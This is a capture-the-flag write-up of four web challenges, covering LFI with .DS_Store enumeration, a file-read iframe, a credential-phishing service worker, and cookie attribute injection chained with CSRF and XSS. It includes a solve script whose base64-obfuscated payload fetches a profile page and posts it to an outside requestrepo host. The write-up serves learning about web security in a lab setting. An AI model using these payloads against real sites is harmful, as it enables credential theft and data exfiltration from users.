This was both my first time taking part in a CTF organised by p4 and my first solo CTF in a while, and I placed 5th! The challenges were pretty solid, so here are my writeups. Please enjoy!
Web
Cvg3n3rat0r [74]
Ever wanted to get hired by your favourite E-corp? Generate your brand new CV and get hired every time. BTW, have you ever heard the joke about putting your resume on the bosses computer? While that’s probably a bad idea, grabbing the flag from /flag.txt most definitely isn’t! Now with W3schools support!
<iframe src="file:///flag.txt"></iframe>
“writeup”
Apfel Seite [9]
This challenge was fuelled by C17H21NO4 and insomnia. I’m sorry.
The challenge immediately presents us with a blatant LFI vulnerability; clicking one of the links on the navbar navigates you to http://apfel-seite.zajebistyc.tf/?apfel_selection=apfels/rotten/description.txt
for example, where apfel_selection
is the vulnerable parameter. From here, we can get the index.php source code with ?apfel_selection=index.php
:
<?php
if (isset($_GET["apfel_selection"]) && file_exists($_GET["apfel_selection"])) {
if (strpos($_GET["apfel_selection"], "..") !== false) {
echo "<h1><b1>SIR👀 THIS IS AN APFEL🍎🍎 STORE💲 PLEASE DO NOT 😔HACK😔 US 🙏🙏</h1></b1>";
} else {
echo file_get_contents($_GET["apfel_selection"]);
}
} else {
$jokes = array(
"What kind of apple isn’t an apple?<br><b>A pineapple.</b>",
"What do you call a person who saw an apple store getting robbed?<br><b>An iWitness.</b>",
"Why did the apple turn red?<br><b>Because it saw the salad dressing.</b>",
"What’s the best thing to put into an apple pie?<br><b>Your teeth.</b>",
"What is a math teacher’s favourite dessert?<br><b>Apple Pi.</b>",
"Why don’t robots like Apples?<br><b>Because They’re androids!</b>",
"What happened to the newly wedded apples?<br><b>They lived apple-ly ever after</b>"
);
echo $jokes[array_rand($jokes)];
echo "😂🤣";
}
?>
Here we can see that our input is passed through file_exists
, then if that works, file_get_contents
. Where’s the flag? This line on the index page tells us:
Welcome to apfel-seite. We are here for all your 🅰️pfel needs. Lorem ipsum... just kidding!😂😂🤣🤣 Please use the buttons above to view our excellent offer of different kinds of 🅰️pfels. PS: since we're in the 🅰️pple-business we only use computers provided by our official sponsor😎. Oh you're just here for the flag? Too bad! It's hidden somewhere in the webroot but I'm not gonna tell you where🤣
This hints that we should be using .DS_Store files, which may store metadata about the files in the webroot directory that could lead to the flag’s filename! http://apfel-seite.zajebistyc.tf/?apfel_selection=.DS_Store
has nothing useful, but http://apfel-seite.zajebistyc.tf/?apfel_selection=apfels/.DS_Store
has an interesting list of names. I used this tool by gehaxelt to parse the .DS_Store files. Iterating through the list of directory names and comparing the description.txt
files in each will yield one that differs from all the others (limbertwig), which reveals the flag’s filename in http://apfel-seite.zajebistyc.tf/?apfel_selection=apfels/limbertwig/.DS_Store
, and finally the flag in http://apfel-seite.zajebistyc.tf/?apfel_selection=apfels/limbertwig/flag_but_without_an_obvious_filename.txt
.
p4{This_challenge_was_not_sponsored_by_the_fruit_company}
v [5]
Anonymous, it’s time to pull out your nessus and LOIC to protect humanity!
This challenge concerns a defaced website where you can upload files. The files are stored in the files
directory and are accessible at https://v.zajebistyc.tf/<filename>
, and we can easily test and verify that we can upload a .html file and have any JS that we want execute. The twist in this challenge is the order in which the admin bot does things:
await page.goto(url);
await sleep(5000);
await page.close();
console.log(`visiting ${url} done, closed page`);
// open new page to clear any XSS payloads before logging in
page = await context.newPage();
console.log("opening new page");
await Promise.all([
page.waitForNavigation({ waitUntil: 'load' }),
page.goto(LOGIN_URL),
]);
console.log("content loaded");
await page.waitForSelector('#username');
console.log('got selector');
await page.$eval('#username', (el, val) => { el.value = val; }, BOT_USER);
await page.$eval('#password', (el, val) => { el.value = val; }, BOT_PASS);
await page.click('#submit');
console.log("clicked");
await sleep(5000);
console.log(`visiting login done, closed page`);
Our malicious page is visited then closed before the admin logs in, and we want the admin’s login details. This means that any JS which lives strictly while the page is open won’t work. What will work, however, are service workers!
Paraphrasing the mozilla description, service workers improve the offline user experience by allowing for developers to more finely control the cache. For example, losing internet with service workers should mean that you can navigate between pages you’ve visited already (if they’re cached) even while offline. From a design perspective, service workers have to work between pages in order for the scripts not to stop working after navigations, like traditional JS scripts would. Here however, service workers allow us to create JS that stays alive even after our page is closed. All we have to do is create some file sw.js
that intercepts any following network requests and responds with our own custom form:
self.addEventListener('fetch', e => {
e.respondWith(
new Response(`
<form action=WEBHOOK>
<input id=username name=username type=text>
<input id=password name=password type=text>
<input id=submit type=submit>
</form>
`)
);
});
Then we just need to register this service worker:
<script>
navigator.serviceWorker.register("FILENAME.js");
</script>
Uploading the first file will yield the filename, then we can upload the second file and send the admin to that file. When they go to the “login page”, the form they enter details into will actually send their details to our webhook, which we can then extract the username and password from to log in as them.
username: initial_ducc
password: https://www.youtube.com/watch?v=sHgeidTpd1E
Bingo!
The Real Monster [5]
This was my favourite web challenge. It’s sourceless, but we can get somewhere pretty easily. Just trying any sort of markup injection in the username field works, i.e:
username: <b>hi</b>
…and there’s no CSP either, so we have a winning self-XSS. If we can get the admin to log in as us and go to /profile
, then we can execute any JS we want. However, this isn’t as useful as it seems, due to these following issues:
- Logging in as us will override the admin’s
credentials
cookie, which stores our username and password as raw JSON:{"username":"<b>hi</b>","password":"aaa"}
, thus, we’d lose the admin’s login and be unable to fetch their secret - Popups don’t work for some reason (I’m pretty certain that puppeteer had popups disabled?) so we aren’t able to extend our browsing context to another window
credentials
defaults toSameSite=Lax
, which means that we can’t set the cookie cross-origin with CSRF as browsers only honourSet-Cookie
headers withSameSite=None
if the request isn’t top level; and again, we can’t make it top level as we can’t extend our browsing context to other windows
This seems pretty tough, so let’s investigate credentials
in more detail, as it’s pretty suspicious that this plaintext cookie is being used instead of the default session
cookie from Flask. Indeed, our JSON input isn’t escaped, so we can escape the JSON and inject arbitrary Set-Cookie attributes, eg:
username: user":"pass"};SameSite;
password: lol
/\ will result in the cookie looking like:
credentials={"user":"pass"};SameSite;"lol"}
The key things to note here are that we can set SameSite=None; Secure;
(Secure is needed if SameSite=None) in order to allow us to set our forged cookie, and that we can avoid overriding the admin’s credentials
cookie by setting our cookie on a different path! For example, these following attributes would make it possible for our credentials
to be sent cross-frame and only when the path is /.%2Fprofile
:
SameSite=None; Secure; Path=/.%2Fprofile; <garbage here>
…and thanks to Flask’s routing, the %2F will be decoded to a slash before routing rules are applied, so will be treated as /./profile
and access the same page as /profile
without contesting with the admin’s credentials
cookie. Our path is clear:
- CSRF a login with our username and injected attributes,
<XSS PAYLOAD>","pwd"}; SameSite=None; Secure; Path=/.%2Fprofile;
, so the responseSet-Cookie
header will set a cookie that only applies on/.%2Fprofile
- Redirect (key: redirect, not frame, as framing will fail to send the admin’s cookie due to SameSite=Lax) to
/.%2Fprofile
Here’s my cleaned-up solve script:
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<iframe name=woo id=woo></iframe>
<!-- Targeting the iframe here is necessary as popups are blocked -->
<form id=form action="https://ctftime.pl/login" method="POST" target="woo">
<input name=username id=uname>
<input name=password value=pwdpwd>
<input type=submit>
</form>
<script>
onload = async () => {
`setTimeout(async ()=>{
fetch('https://w6bcg3ji.requestrepo.com');
p = await fetch('https://ctftime.pl/profile').then(r => r.text());
fetch('https://w6bcg3ji.requestrepo.com',{method:'POST',body:p})
},500)
b64 encoded`
document.getElementById("uname").value = `<script>eval(atob('c2V0VGltZW91dChhc3luYyAoKT0+ewoJCWZldGNoKCdodHRwczovL3c2YmNnM2ppLnJlcXVlc3RyZXBvLmNvbScpOwoJCXAgPSBhd2FpdCBmZXRjaCgnaHR0cHM6Ly9jdGZ0aW1lLnBsL3Byb2ZpbGUnKS50aGVuKHIgPT4gci50ZXh0KCkpOwoJCWZldGNoKCdodHRwczovL3c2YmNnM2ppLnJlcXVlc3RyZXBvLmNvbScse21ldGhvZDonUE9TVCcsYm9keTpwfSkKCX0sNTAwKQ=='))<\/script>","password":"pwdpwd"};Path=/.%2Fprofile;Abc=`;
document.getElementById("form").submit();
// wait for a response
await new Promise(r => setTimeout(r, 500));
location = "https://ctftime.pl/.%2Fprofile";
}
</script>
</body>
</html>
The intended solution was to use Max-Age
instead of Path
to create a cookie that immediately expires, such that you can navigate to /profile
the first time with your forged cookie, then XSS a request to /profile
again with the admin’s cookie. Both follow the same general concept.
Once again, thank you to p4 for some great web challenges, and thank you for reading!